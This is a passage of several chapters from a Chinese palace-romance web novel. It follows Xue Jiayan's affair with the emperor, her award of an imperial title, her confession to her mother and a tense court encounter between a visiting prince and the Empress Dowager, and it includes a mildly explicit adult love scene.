他的指尖开始带着某种灼热的意图,或轻或重地揉捏抚弄。怀里的身体明显僵硬了一瞬,随即微微颤抖起来,不是抗拒,更像是一种无处着力的羞怯与紧张。 薛嘉言的脸早已红透,耳根脖颈都染上了绯色。她想躲,却又被牢牢圈在怀里,只能将发烫的脸更深地埋进他胸膛,细弱地唤了一声:“皇上……” 这一声似嗔似求,像一点火星,溅入了早已干燥的柴堆。 第134章 偏要在孝期行此事 薛嘉言伏在姜玄怀里,肌肤相贴处传来的滚烫温度和他逐渐急促的呼吸,早已将他的意图昭示得明明白白。 她并非懵懂少女,自然清楚这个年纪、这般境况下的男子会有怎样的渴望。先前几次私下相见,情浓时也免不了劳累五姑娘帮他纾解一二,只是他向来克制,顾及着她的身子,从未越雷池半步。 可今夜……他掌心的灼热,指尖的力道,还有那在她衣襟内游走探索时毫不掩饰的急切,都与往日不同。那不仅仅是想纾解,更像是一种亟待确认什么、占有什么的躁动。 薛嘉言心尖微微发颤。她知道过了头三个月,胎象稳固后,并非绝对禁止行房。可知道是一回事,真正要经历,又是另一回事。 毕竟是头一遭怀着身子行此事,心下难免惴惴,身子不自觉地有些僵硬,那从未有过的、微妙的臃肿感也让她生出几分陌生的羞怯,不想让姜玄看到。 姜玄敏锐地察觉到了她的紧绷。他动作顿了一瞬,气息灼热地喷在她耳畔,声音沙哑,带着微微的郁气:“可是觉得……在孝期不可?” 一股混杂着荒谬与冷意的情绪猛地冲了上来,薛嘉言几乎要嗤笑出声。 给戚少亭守孝?他配吗? 她穿这身衣服,不过是为了堵住悠悠众口,为了在这吃人的规矩里寻一个安身立命的由头。谁真给戚少亭守孝? 姜玄这话,反而激起了她骨子里的逆反。原本因未知和孕事而生的那点犹豫,此刻被一种更强烈的情绪所取代。 薛嘉言仰起脸,眼底方才的怯意和忧虑褪去,她伸出双臂,主动勾住了姜玄的脖颈,将他拉近,然后仰头,将自己微凉柔软的唇瓣印了上去。 唇舌交缠间,她喘息着,断断续续的声音带着湿漉漉的热气,喷在他的唇边,直烫到他心底去: “就是……在他的孝期,才要行房呢。” 这话如同惊雷,又似最烈的酒,轰然在姜玄脑中炸开,点燃了最后一丝名为“克制”的引线。 残存的理智提醒着他太医的嘱咐。他强压着几乎要破笼而出的猛兽,动作放得极缓,极小心,带着十二万分的珍重与试探。 久旷的渴望与小心翼翼的交织,酝酿出一种与往日全然不同的情潮。节奏被刻意放缓,每一个动作都带着探索的意味,却也因此更加磨人。 汗水渐渐濡湿了彼此的鬓发,素色的孝衣与玄色的常服凌乱地纠缠在一起,被随意抛在暖榻一角。 压抑的喘息与破碎的低吟交织,偶尔夹杂着几声难耐的、带着泣音的求饶。 虽不敢似从前那般纵情尽兴,但这于特殊时期、特殊心境下发生的一切,却带来一种令人心悸魂摇的意趣。 待到风浪渐息,薛嘉言浑身酥软,蜷在姜玄汗湿的怀中喘息。 姜玄的“热情”与接纳,着实超出了她的预料,甚至隐隐颠覆了她前世固有的认知。 她原以为,帝王心性,纵然再宠爱,见她怀着旁人的骨血,心中多少会有些芥蒂。更何况是孕期身形变化,失了从前的纤秾合度…… 她记得很清楚,前世怀着棠姐儿时,戚少亭嘴上不说,眼神里却总带着打量,不止一次“无意”提及,说她后背瞧着厚实了些,腰身也不复往日的纤细,还曾半开玩笑地说,只怕以后再也见不到她那“杨柳小蛮腰”了。 那些话,像细密的针,扎在她心里,让她产后即便恢复了身形,也长久地不敢在他面前袒露自己,总觉得那副身躯是“不美”的,是惹人厌弃的。 可姜玄……他似乎全然不同。他的亲吻、抚触,甚至方才的索取,都带着一种餍足的、全然的接纳,对这具因孕育而变化的身体,显露出一种毫不掩饰的沉迷与欣赏。 这巨大的反差,让她心头那点不安如野草般悄然滋长。她从他怀中微微抬起头,借着帐外朦胧的残光,看向他闭目养神的侧脸,声音带着事后的微哑,试探着问了一句: “皇上……我的腰……是不是变粗了很多?” 姜玄眼睫未动,只从鼻腔里懒懒的“嗯?”了一声,似乎还沉浸在余韵的慵懒里。他揽在她腰间的手掌动了动,指腹不轻不重地摩挲着那片滑腻的肌肤,触感丰腴柔润,与记忆中的纤细确已不同。 “是比从前丰润些,”他的声音低沉沙哑,“孕期有些变化也是正常的。这说明孩子在你腹中长得很好。” 没有挑剔,没有比较,甚至没有一丝一毫的遗憾。他只是陈述一个事实,并将这变化归因于一个积极的结果。 薛嘉言心头微微一松,可疑虑并未完全散去。戚少亭的骨血,他当真能毫不在意吗?她咬了咬下唇,又往他怀里贴紧了些。 “皇上似乎……对这个孩子并不在意?” 话一出口,她便感到搂着自己的手臂几不可察地僵了一瞬。姜玄抚摸她腰肢的手停了下来。 帐内的空气似乎凝滞了短短一息。 然而,他掌心很快重新开始缓慢地、有节奏地抚着她的后背,如同安抚一只惴惴不安的猫儿,声音依旧是那般平稳,甚至带上了一丝柔和:“只要是你的孩子,我都喜欢。” 薛嘉言的心因他的话而悸动,难道一个男子真心爱慕一个女子,当真能做到如此地步 她前世在戚少亭那里得到的,是利用、审视、挑剔,对比之下,姜玄此刻所展现的“全盘接受”,简直像一场不真实的美梦。 他是天子啊……薛嘉言迷迷糊糊地想。天子一言九鼎,总不至于在这种事上,特意来骗她吧? 两人又依偎着说了些体己话,直到窗外夜色褪去最浓的黑,泛起一丝青灰,姜玄才依依不舍松开手臂。 第135章 到底是谁? 自那夜之后,姜玄果然如同他先前所说,陷入了前所未有的忙碌,再难抽出整段的时间来青瓦胡同。 然而,他人虽未至,心意却并未缺席。每隔三五日,必有各种物件送到薛嘉言手中。 有时是御膳房精心制作的时令点心;有时是江南新贡的、花色雅致的绫罗绸缎,料子轻薄柔软,正适合春日裁衣;他知道她素喜丹青,寻来了几本罕见的古画谱,极为珍贵难得,显是费了心思。 二月底,一道旨意如同惊雷,在京城炸响。 朝廷明发谕告,表彰自与鞑靼开通互市以来,促进贸易和两国友好有贡献突出的商行。其中有三家商行赫然在列,而最引人注目的,莫过于“福运粮行及织坊”的掌柜——薛嘉言。 旨意中言明,薛氏嘉言,经营有道,诚信为本,此次寒灾筹措粮草与御寒衣物,稳定边关,有利民生,堪为表率。特赐封五品诰命,赏诰命服饰一套,并金银玉器若干,以兹奖励。 消息传出,顿时在京城掀起了不小的波澜。 大兖立国之初,太祖皇帝出身行伍,深知粮秣军需之重,却也深受前朝末年商人囤积居奇、扰乱民生之苦,故定下“重农抑商”之国策,商贾地位低下,受诸多限制。虽经几朝略有松动,但给商人正式封赏官诰,尤其是封赏一位女商人,实乃开国以来头一遭! 街头巷尾,茶楼酒肆,议论纷纷。有人赞叹皇上不拘一格,赏罚分明,新气象果然不同;也有人摇头,觉得此举有违祖制,抬高商贾,恐生弊端;更多的人,则将好奇探究的目光,投向了那位神秘的“薛氏嘉言”——究竟是怎样一位女子,竟能打破陈规,以商贾之身,获此殊荣? 青瓦胡同的小院里,薛嘉言跪接完宣旨太监手中的黄绫谕旨和赏赐,心中并无太多欣喜,反而有点沉甸甸的。 她知道,从这道旨意颁布起,她再不能完全隐匿于市井之间了,她的清静日子到头了。不过这本就是她所求,若不争取这些,她怎么保护自己的亲人呢。 薛嘉言获封五品诰命的消息,在京城舆论的池塘里投下石块,涟漪尚未完全扩散,便被一股更为汹涌的巨浪骤然覆盖、吞噬——翌日,四王进京了。 五位王爷本该都回京,参与今岁先帝祭祀大典。可年纪最长的淮王姜庄,在动身前夕突发重疾,据说是沉疴旧疾一并发作,呕血不止,根本无法承受长途跋涉。万般无奈之下,淮王只得上了请罪折子,并派了自己嫡长子和安郡王姜瑜作为代表,携重礼代他入京觐见、祭拜。 如此一来,此番真正踏入京畿之地的,便只剩下四位王爷:雍王、靖王、瑞王、康王。这四位,当年皆是先帝膝下曾有力角逐过储位的皇子,彼此之间恩怨纠葛,盘根错节。 先帝晚年缠绵病榻数年,朝局晦暗不明,他们明里暗里的较量不知掀起过多少风波,牵连进多少朝臣性命。 直到姜玄这个原本并不显山露水的“渔翁”在最后关头凭借宋家的支持和先帝的旨意登上大位,这场兄弟阋墙的惨烈戏剧才被迫仓促落幕,以诸王就藩、远离中枢告一段落。 如今,新帝登基数年,根基渐稳,却值此祭奠先帝的敏感时刻,将这几位虎狼般的兄弟重新召回权力中心……这背后是新帝的自信掌控,还是另有深意?京城上空,仿佛瞬间笼罩了一层看不见的、紧绷的网。 街头巷尾关于女商诰命的窃窃私语迅速被对王爷们车驾仪仗、随行人员、乃至可能引发的朝局变动的揣测所取代。各级官吏、各方势力,无不绷紧了神经,小心翼翼地观望着,试探着。 宫墙之内,姜玄站在高高的殿阶上,俯瞰着远处依稀可见的、属于王爷们的车马旗帜缓缓汇入京城宏大的建筑轮廓之中。他面色平静无波,眼神却深邃如古井,无人能窥见其底。 “都来了么……”他低声自语,唇角似乎极细微地弯了一下,那弧度却毫无温度,“也好。该清的账,有些戏,总要人齐了,才好看。” 风卷过空旷的广场,带来远方隐约的钟鼓礼乐之声,那是迎接亲王入京的仪典。这声音庄严肃穆,却仿佛金戈碰撞的前奏。 山雨欲来,风已满楼。这京城的水,怕是真要彻底搅浑了。 在四王进京这件震动朝野的大事面前,薛嘉言受封诰命的消息,便如投入江河的一片落叶,悄无声息地沉了下去。 可落叶虽轻,落在关心她的人心湖中,却依然荡开了涟漪。 吕氏得知女儿受封的消息,当日便带了东西赶到戚家看望女儿和外孙女。 母女俩有大半月未见,吕氏仔细打量着女儿,见她穿着一身淡青色折枝梅纹褙子,头发梳成端庄的圆髻,只簪一支白玉簪,气色尚好,吕氏心下一松。 “娘。”薛嘉言福身行礼,被吕氏一把扶住。 “自家人,拘这些虚礼做什么。”吕氏握着女儿的手,感觉掌中的手指有些凉,便轻轻摩挲着,“棠姐儿呢?” “在屋里描红呢,听说外祖母来了,早就坐不住了。” 话音未落,一个穿着粉衫绿裙的小身影就从回廊那头跑来,像只欢快的小雀儿:“外祖母!” 吕氏脸上顿时绽开笑容,蹲下身张开手臂。棠姐儿扑进她怀里,奶声奶气地说着想念的话,小手紧紧搂着吕氏的脖子。吕氏心都要化了,连声说“乖囡囡”,从袖中掏出个精巧的珐琅彩绘小盒子,里面是特意给棠姐儿打的小镯子。 薛嘉言在一旁看着,眼中泛起温柔的笑意,真好啊,爱的人都在眼前。 吕氏逗着棠姐儿说了一会话,便让人带她出去玩了,她有话要问女儿。 丫鬟重新上了茶,是吕氏爱喝的六安瓜片。薛嘉言摆摆手,屋里的下人都退了出去,只留母女二人。 吕氏抬眼看向女儿,要将女儿脸上每一丝神情都看得清清楚楚。 “嘉嘉。你跟娘说实话。让你做生意,还能给你封诰命的人,到底是谁?” 第136章 虚假的幸福 花厅里静得能听见铜漏滴答的水声。窗外有雀儿掠过,啁啾几声,更衬得室内寂静。 外头的人不知道薛嘉言的底细,对于这个横空出世的福运商行大东家并不知情,偶尔有些知道她背景的人,因她外祖父当年也是江南出了名的大商人,又只有她娘一个独生女,把吕家的本钱全都传给她,似乎也并不让人意外。 但吕氏却清楚,吕家留下来的财富,大半还是在她手里。 薛嘉言知道自己瞒不了母亲,沉默了一会,低低说道:“是皇上。” “你……你说什么?”吕氏瞬间色变,声音发紧,每个字都像是从齿缝里挤出来的。 吕氏愕然,她以为是某位皇亲贵胄,或者是高官,但唯独没想到会是皇帝。 她的女儿怎么会跟皇帝扯上关系呢?戚少亭从前不过是个末流小官,即便高升了,在朝堂上也算不了什么,按理女儿是没有机会觐见天颜的。更何况是私下授意经商、还赐下诰命这样的事! 薛嘉言决心这件事不再瞒着母亲,便轻声道:“戚少亭意外得知我像皇上的心上人,便与皇上身边的张公公合谋,把我送到了皇帝神策……” 这几句话她说得很轻,但似重锤砸在吕氏心头。 她的手剧烈地颤抖起来,原本温润的面容瞬间褪尽血色,那双见过无数风浪的眼睛里此刻只剩震怒与痛心。 “戚、家、小、儿——”吕氏一字一顿,每个字都像从牙缝里挤出来的,带着淬毒般的恨意,“他竟敢……竟敢如此待你?” 她想起前些日子戚少亭意外身亡的消息传来时,自己还为这个女婿掉了两滴眼泪。如今看来,那混账东西死晚了! “我当初真是瞎了眼!”吕氏抬手狠狠捶了自己胸口一下,泪水滚滚而落,“我看他出身清寒却勤勉上进,想着低嫁女儿能少受些委屈……哪知道、哪知道这是引狼入室,把我的心肝宝贝推进了火坑啊!” 薛嘉言见母亲如此自责,连忙握住吕氏捶打自己的手:“娘,不怪您,真的不怪您。是他太能装了……这么多年,连女儿都被他蒙在鼓里。” 她将吕氏扶回椅子上,掏出手帕轻轻擦拭母亲脸上的泪水。吕氏却反手紧紧攥住女儿的手,力气大得薛嘉言都觉得疼。 “那你……”吕氏的声音哽咽得几乎说不出话,“你跟皇上……” 吕氏问了半句又止住了,这件事不必再问,皇上也是男人,所图为何谁都清楚。 “娘,”薛嘉言平静开口,“事情已经发生了,皇上他……对我很好。福运商行本是他的,他想让我名正言顺的有诰命,便让我做了大东家,为我谋划。如今我已经有了身孕,若这胎是个男孩,我和棠姐儿也就有了依靠,女儿现在……只想好好活着,把棠姐儿养大,把肚子里这个养大。” 她说得轻松,但这句“好好活着”背后的千言万语,吕氏如何听不出来?一时间,吕氏只觉得心口像被钝刀反复切割,痛得她几乎喘不过气来。 “我的儿啊……”她一把将女儿搂进怀里,像小时候那样拍着她的背,眼泪浸湿了薛嘉言的衣襟,“苦了你了,苦了你了……” 薛嘉言嗯了一声,她想等皇帝后宫充盈了,只怕不用她说,关系也会断了的。 薛嘉言伏在母亲肩头,闻着那熟悉的、带着淡淡檀香的温暖气息,心却安定下来了。 良久,吕氏稍微平复了情绪,松开女儿,用帕子擦了擦脸,小声问道:“皇上现在与你已经断了吧?” 薛嘉言有些不好意思,含糊道:“他近来也忙呢,那么多王爷进京,哪里还能顾得上我这里。” 吕氏道:“那你往后是怎么打算的?” 薛嘉言道:“先把商行经营好,我有了诰命,再有大把银钱,将来我的孩子们没有父亲也不会被人随便欺负。” 吕氏道:“皇上既然这般为你考虑,总算对你也有几分心意。只是你们的关系必不会长久,你且不可全抛一片心,能断还是断了吧。” 薛嘉言没说话,她想着等姜玄后宫充盈了,不必她说,他们的关系也会渐渐淡了,最后断了的。 薛嘉言不想再跟母亲说这件事,便转移话题问道:“爹呢?怎么没来看棠姐儿。” 吕氏叹了口气,那叹息里却带着习以为常的无奈与纵容:“你爹啊?别提了。前儿青云观的长风道长来家里讲经说法,不知怎么又说起喆山深处有前朝隐士的洞府遗迹,还可能寻到《云笈七签》里提过的‘玉髓芝’。你爹一听,魂儿就像被勾走了似的,茶也不喝了,棋也不下了,非要跟着道长去‘寻仙访道’。我拦也拦不住,他收拾了几件衣裳,带了两个长随,兴冲冲就走了,说少则十天,多则半个月才能回来。” 薛嘉言听着,顺着这轻松的话题,故意眨了眨眼,用略带调侃的语气笑道:“爹这性子,总爱往外跑。娘,您就这么放心?爹总在外头,您就不怕他养了外室?” 吕氏闻言,摇头道:“你这丫头,编排起你爹来了!你爹啊,他不是那种人。他那颗心,纯粹得跟水晶琉璃似的,里头装的都是些稀奇古怪的玩意儿,唯独没有那些风流心思。” 她眼神变得柔和,陷入了回忆:“你爹就是贪玩,像个老小孩。斗鸡走狗、投壶双陆,没有他不精通的;夏天斗蛐蛐能蹲在园子里一整天,冬天听说哪里有上好的梅花,能顶着风雪跑几十里路去赏。后来年纪稍长,又迷上了金石篆刻、古籍收藏,前些年还跟着人学吹埙,吹的……咳,连后院的猫都嫌吵。”说到这儿,吕氏自己都忍不住摇头失笑。 “你外祖父当年不知道他的身世,只听他谈诗论画、鉴赏古玩的见识,就私下跟我说,‘此子言谈举止,风仪见识,绝非寻常商贾或寒门子弟能有,定是出身极有底蕴的富贵人家,只是心性过于澄澈跳脱,不似汲汲营营之辈。’” 吕氏顿了顿,语气里带着一种认命的通透,又或许是一丝骄傲:“公府的担子有人担着,无需他劳心费力。他就是这个命,天生的富贵闲人,只要他不赌不抽,不惹出大祸,由着他去吧。外室?他才没那个耐心应付呢,有那功夫,不如去山里找块奇石,或者听老道长讲一段《南华经》。” 薛嘉言见母亲说得笃定,只能在心底叹息,爹在外面有了孩子的事情,到底应不应该告诉娘,打破她这虚假的“幸福”。 第137章 来京 前世,直到母亲闭眼的那一刻,她都始终相信,父亲只是个心思跳脱、贪玩却纯净的富贵闲人。 母亲去世后,父亲悲痛欲绝,将自己关在家里,对着母亲的画像终日枯坐,仿佛魂魄都随着母亲去了。 薛嘉言强忍丧母之痛,还要打起精神操持丧仪,安抚几近崩溃的父亲。 就在府中一片素缟、愁云惨淡之际,一个面容有些憔悴的年轻女子,抱着一个七八岁的男孩,跪在了薛府门外,哭声哀切,惊动了街坊四邻。 那女子求见薛老爷,说孩子得了急症,她实在走投无路了,才求上门来。 薛嘉言心中疑惑,亲自去见了。待看到那个孩子与父亲相似的脸蛋,那一瞬间,她只觉得浑身的血液都凉了,耳边嗡嗡作响。 原来,父亲并非不谙风月。 原来,母亲口中那个“心里干净”“没有风流心思”的丈夫,早在多年前就已背叛。 原来,那个总爱往外跑、说是“寻仙访道”“收集奇石”的父亲,有一部分时间,是去了另一个“家”,看着另一个孩子成长。 薛嘉言让人将这对母子领到倒座间,细问之下才知道,原来这女子名叫张心华,是慈幼局长大的孤女,十年前薛千良去慈幼局做善事,两人偶然相遇,再后来便有了孩子。 薛千良置了处小院安顿他们母子,偶尔会去看看孩子,但叮嘱她绝不可声张,尤其不能让夫人知道。如今孩子病重,需要找太医诊治,她联系不上薛千良,迫不得已才找上门来。 这时得到消息的薛千良赶过来,不由分说把薛嘉言往外推,嘴里说着:“别听她胡说八道,没有的事。你出去吧,这事爹会处理好的。” 更讽刺的还在后面。 当年母亲带着年幼的她初到京城,跟父亲到肃国公府认亲时,遭遇的是怎样的冷眼与刁难?父母亲费尽周折,才让国公府勉强承认了她薛家女的身。 而这个外室所出的、见不得光的私生子,在身份暴露后没多久,国公府那边竟主动派了体面的管事上门。话里话外,无非是大老爷子嗣单薄,如今既有了男丁,虽是庶出,但终究是薛家血脉,理应认祖归宗,纳入族谱。态度之通达,与当年对待她们母女时的苛刻猜疑,简直判若云泥。 薛嘉言站在厅堂中,看着国公府来人矜持而隐含逼迫的姿态,想起母亲灵位前的香火还未冷……她只觉得这世间的一切礼法、伦常、深情,都成了最荒诞的笑话。 如今,重活一世,面对尚在人间、对夫君满怀信任的母亲,薛嘉言心底挣扎。 她该让母亲继续活在那个由父亲编织的、美好却虚假的幻梦里吗?让母亲直到生命尽头,都相信自己是独一无二的,相信丈夫虽贪玩却忠贞,相信他们之间的感情无瑕?这样,母亲或许能一直拥有那份安然与幸福,不必经受被至亲之人背叛的剜心之痛。 可是……那样对母亲公平吗?她活在谎言里,全心全意爱着的,是一个并不完全真实的影子。若有一日,母亲从别的渠道得知真相,那时的打击会不会更大? 然而,亲手打破母亲的幻想,将那血淋淋的、不堪的真相摊开在她面前,告诉她:你看,你爱了一辈子、信了一辈子的男人,其实也跟这世上许多庸常男子一样,会有外室,会有私生子,会撒谎,会隐瞒……这何尝不是另一种残忍?母亲那双此刻还盈满对父亲无奈又纵容笑意的眼睛,会不会瞬间黯淡,蒙上永远的阴霾? 薛嘉言看着眼前母亲温柔的面庞,听着她细数父亲种种孩子气的“罪状”,心中那份前世带来的冰冷恨意与此刻的酸楚怜惜剧烈交战。她张了张嘴,喉咙却像被什么堵住了,最终,关于父亲“外室”的试探,只化作一句轻飘飘的玩笑。 集英殿内,灯火煌煌如昼,殿内设下了极盛大的筵席,珍馐美馔流水般呈上,琼浆玉液在夜光杯中荡漾。 今日这场宫宴,是为四位奉诏入京的王爷接风洗尘。除了雍王姜岑、靖王姜晗、瑞王姜曙、康王姜昀四位正主,殿内还有雍王妃、瑞王妃两位女眷,以及和安郡王姜瑜、雍王长女明真郡主等皇室宗亲,济济一堂,看似热闹融洽。 姜玄端坐于正位,神情泰然自若。他手持金樽,接受着各方或真诚或客套的朝拜与敬酒,应对从容。 席间,康王姜昀捏着酒杯,目光状似无意地在太后与姜玄之间睃巡。太后与姜玄之间那种的氛围,与两年前他离京时截然不同。 说不清是为什么,姜昀就是莫名觉得这两人不对劲。 这时,沁芳俯身附在太后耳边,低语了几句。姜昀看见太后似乎微微顿了一下,随即,扶着沁芳的手,缓缓站起身来。 珠帘晃动,太后离席向殿外走去。殿内乐舞未停,觥筹依旧,姜昀的目光紧紧跟随着太后,直到她消失在集英殿侧门的阴影里。 不多时,姜昀侧身对邻座的瑞王姜曙举了举杯,用只有两人能听到的声音笑道:“这宫里的玉液酒虽好,喝多了也有些闷。王兄慢饮,小弟去透透气。” 瑞王闻言随意点了点头,并未在意。 姜昀搁下酒杯,整了整衣袖,不疾不徐地起身离席,方向,正是太后方才消失的侧门。 集英殿后连接着一片精巧的皇家花园,此刻宫宴正酣,园中寂静,只有檐角宫灯在夜风中轻轻摇曳,投下明明灭灭的光影。假山石畔,一丛丛晚开的迎春花在夜色里绽着嫩黄。 太后与在此等候的一名身材魁梧、面容刚毅的中年汉子说话,那人身穿禁军服色,看样子是负责宫城防卫的。太后声音压得很低,语速略快,中年将领神色肃然,频频点头。 “务必仔细,不得有误。”太后最后叮嘱一句,声音恢复了惯常的平和。 “臣遵旨。”中年将领抱拳,躬身退后两步,转身迅速消失在假山另一侧的小径里。 太后轻轻舒了口气,由沁芳扶着,准备沿原路返回集英殿。刚转过一丛茂密的湘妃竹,却见前方游廊的拐角处,一个身着亲王常服的身影正朝这边走来,步履从容,正是康王姜昀。 第138章 儿臣给母后请安 太后脚步几不可察地微微一顿,随即放缓了速度,面色如常。 对面的姜昀却仿佛刚看到她一般,脚下加快了几分,两人恰好在游廊中间、一盏明亮的八角宫灯下相逢。 “儿臣给母后请安。” 姜昀率先停下脚步,躬身行了一礼,姿态恭敬,挑不出错处。 太后驻足,目光落在姜昀低垂的头顶,唇角勾起一抹似笑非笑的弧度:“平身。康王倒是比从前知礼了许多。” 姜昀直起身,脸上挂着恰到好处的笑容,接口道:“母后谬赞。儿臣从前年少轻狂,行事多有孟浪之处,多亏母后当年的教导与包容,这两年在外就藩,每每回想,愈发感念,也才渐渐知了些礼数分寸。” 太后闻言,轻轻笑了一声:“康王这话说得,若是齐太妃听到,只怕要睡不着觉了,倒像是哀家抢了她教导儿子的功劳似的。” 齐太妃,正是康王姜昀的生母,先帝的妃嫔之一。 太后提起她,语气平淡,却让姜昀脸上的笑容不易察觉地敛了敛。 他再次拱手,姿态愈发恭敬:“母后言重了。说起母妃,儿臣还得感谢母后宽仁。母妃多次给儿臣来信,都说母后治理后宫宽严相济,仁厚大度,有国母之风,对她们这些太妃太嫔们照拂有加,让她们得以安心颐养天年。儿臣在外,也方能心安。” 太后笑了笑,不置可否,抬脚便欲继续前行,似乎无意与他多做寒暄。 不料,姜昀却忽然侧身一步,恰好挡住了太后的去路。他脸上笑容不变,声音却压低了些:“母后这就要走吗?儿臣……还有些话,想单独禀明母后。” 太后眉头几不可见地蹙了一下,停下脚步,目光平静地看着他。 姜昀视线转向一旁垂手侍立的沁芳,语气温和却不容置疑:“沁芳姑姑,那边假山旁的迎春花,瞧着开得甚是热闹,香气袭人。姑姑不妨移步去看看?本王有些体己话,想要单独与母后说一说。” 沁芳没有立刻动,而是先看向了太后。夜风拂过,带来迎春花淡淡的甜香,也吹动了廊下的宫灯,光影在太后沉静的容颜上摇曳。 太后与姜昀对视了片刻,终于,极轻微的,几不可察地点了一下头。 沁芳会意,躬身行了一礼,低声道:“奴婢去看看那花,也好折几枝稍后给娘娘插瓶。”说罢,她缓步走向姜昀所指的方向,身影渐渐没入花丛阴影之中。 游廊中间,八角宫灯洒下一片明黄的光晕,将太后与康王姜昀笼罩其中。乐声与喧嚣从集英殿方向隐隐传来,更衬得此处寂静异常。 太后抬眼看向姜昀,目光深邃:“康王有何话要说,现在可以讲了。” 游廊四下,伺候的宫人们皆垂首恭立在数丈开外,低眉敛目,仿若泥塑木雕。没了那么多双眼睛近前盯着,姜昀似乎松懈了些许,方才那副恭敬谨慎的模样悄然褪去,姿态里多了几分闲适与从容。 他唇角噙着笑,目光在太后保养得宜、风韵不减的面容上流连,语气也带上了三分亲近:“儿臣远在封地,心中最惦念的便是母后凤体。不知母后近来身子可还安泰?夜里可还睡得安稳?” 太后神色不动,声音平稳无波:“劳康王挂念,哀家身子尚可。” “母后过谦了。”姜昀笑意更深,目光里甚至透出几分不加掩饰的欣赏,“依儿臣看,母后何止是‘尚可’,简直是风采依旧,尤胜当年。岁月似乎格外眷顾母后,这份雍容气度,儿臣看在眼里,心中亦是为母后欢喜。” 这话越了界。隐含的轻佻与逾越的打量,让太后眼中瞬间凝起寒意,脸色也沉了下来。她正欲开口斥责这放肆之言—— 不料,姜昀却倏然收敛了所有外露的情绪。他面上笑意尽褪,神色转为庄重,向后退开一小步,双手合拢,朝着太后深深一揖,动作标准而恭敬:“此番儿臣能奉诏回京,祭拜父王英灵,全赖母后成全。此恩此情,儿臣铭记于心。请母后受儿臣一拜。” 他这变幻莫测的态度,宛如一记软拳打在棉花上,让太后积蓄的怒意无处着落,反倒更添烦躁。 太后看着姜昀低垂的头顶,语气冰冷:“康王此言差矣。允准藩王回京祭奠先帝,乃是因先帝托梦示下,朝中重臣再三商议,皇上体恤手足,亲自下的旨意。哀家,不过是传句话罢了。康王若只是为此道谢,心意哀家领了,若无其他要事,便请回席吧。” 姜昀缓缓直起身。他没有依言退下,反而向前逼近了一步,这一步,瞬间缩短了两人之间的距离。他抬起头,目光不再掩饰,直直地锁定太后的眼睛,那眼神里有执拗,有幽怨,还有一丝近乎无赖的纠缠。 “自然还有事。母后难道忘了?当年……正是因为儿臣说了几句不该说的真心话,惹恼了母后,母后才非要将赵家女塞给儿臣做王妃。如今可好,我与她性情不合,夫妻不睦,成婚数载,至今膝下犹空。母后,您难道……不该对儿臣负些责任么?” 这话说得暧昧,太后的脸色彻底沉了下去,眼底寒芒如冰刃。她非但没有被这近乎调戏的言辞激得失态,反而极轻地嗤笑了一声,那笑声里充满了毫不掩饰的讥诮与了然。 “哀家硬塞给你的?姜昀,”她唤他的名讳,不再是“康王”,语气冷峭如腊月寒风,“你若管得了自己脐下三寸,没有闹出险些毁了人家姑娘清白的丑事,赵敬伟会拼着老脸不要,非得上杆子把女儿嫁给你这个风流王爷?你若不是自己看中了赵敬伟手里的兵权,觉得这买卖划算,会半推半就地顺从了某些人的算计?” 她微微扬起下颌,俯视着眼前面色微变的男人,言辞犀利如刀:“如今夫妻不睦,膝下空虚,你不怨自己行事荒唐、不思己过,反倒怪到哀家头上来?姜昀,看来这些年你在封地,还真是半点长进都没有!” 姜昀脸色骤变,仿佛被针刺中痛处,方才那份故作的从容与暧昧瞬间碎裂。他牙关紧咬,额角青筋微显,目光灼灼地盯着太后,几乎是从齿缝里挤出话来:“你知道的……你明明知道!当年那晚……我以为那间暖阁里的人是——” “住口!” 太后厉声截断了他的话,声音不高,却带着雷霆般的威压。她美丽的面孔此刻如同覆上了一层严霜,眼底寒芒凛冽,再不见半分温婉。 太后一字一顿,声音阴恻恻地钻进姜昀耳中:“齐太妃说得不错,哀家治理后宫,确是‘宽严相济’。只是康王需得明白,这个‘宽’与‘严’,何时‘宽’,何时‘严’,全看哀家的心情。康王,你最好莫要惹得哀家不快!” 话已至此,太后不再看姜昀,猛地一甩衣袖,带着一股怒意与厌弃,决然转身,再无半分停留。 第139章 十年一梦 一直远远留意着这边动静的沁芳立刻快步上前,稳稳扶住太后的手臂。主仆二人沿着灯火阑珊的游廊,径直朝集英殿那片煌煌光亮与隐约笙歌行去。 游廊下,八角宫灯依旧明亮,将姜昀孤零零的身影拉长,投在冰冷的地面上。夜风穿廊而过,带着初春的凉意,吹动他的衣摆,却吹不散他周身骤然凝滞的阴郁。 姜昀站在原地,目光幽深如古井,死死盯着太后身影消失的方向,仿佛要穿透那重重宫墙与夜色。太后的警告犹在耳边,字字诛心,可更深的,是那被骤然打断的话头勾起的、尘封十年的记忆洪流,轰然决堤。 十年前的景象,不受控制地翻涌上来,清晰如昨。 那时,他刚满十八岁,是先帝颇为宠爱的皇子之一,意气风发,鲜衣怒马。元后薨逝,举国哀悼。不久,为了安抚元后母族,也为了平衡朝局,年仅十八岁的元后侄女——同样十八岁的宋雅长被迎入宫中,册立为继后。 第一次在正式场合见到这位新皇后,是在册封大典上。她穿着繁复沉重的皇后礼服,顶着硕大的凤冠,珠帘遮面,身姿纤细得仿佛不堪重负,在礼官的唱赞声中,一步步走向那至高无上的凤座。 彼时的姜昀,站在皇子队列中,隔着重重人影,只觉那是一个被华服珠宝包裹的、象征着权力更迭的精致符号,年轻,甚至有些稚嫩,与这深宫格格不入,只余几分好奇。 然而,好奇心往往是危险的开端。 几次短暂的接触,姜昀渐渐开始觉得,她那不仅仅是一个符号了,是一个活生生的、被困在这金笼里的、与他同龄的少女。 明知不可为,连想都不该想。可年少炽热又叛逆的心,像被风撩拨的野火。越是禁忌,越是灼人。 她与年龄不符的沉稳决断,面对复杂宫务与各方势力时那种超越年龄的冷静布局;面对先帝时,她看似恭顺低眉时,眼底一闪而过的锐利锋芒;她独自立于高阶之上,俯瞰宫阙时那挺直如松的背影…… 越是意识到她的强大与不可侵犯,那份源于征服欲与叛逆心的妄念,便越是灼热难耐。 他开始寻找各种合理的、不合理的借口出现在她能出现的场合。请安时故意拖到最后,或许能“偶遇”她离开;宫中节庆活动,目光总是不由自主追随她的身影;甚至,鬼使神差地,开始让人打听她的喜好…… 那是一种混合着罪恶感与刺激的煎熬。明知是深渊,却忍不住靠近边缘窥探;明知是烈火,却贪恋那瞬间虚幻的温暖。 他挣扎过,试图用纵情声色、骑马射猎来转移那日益滋长的妄念,却总是徒劳。她的影子,像无声的藤蔓,在他心底最隐秘的角落,悄然扎根,疯长。 十年了。 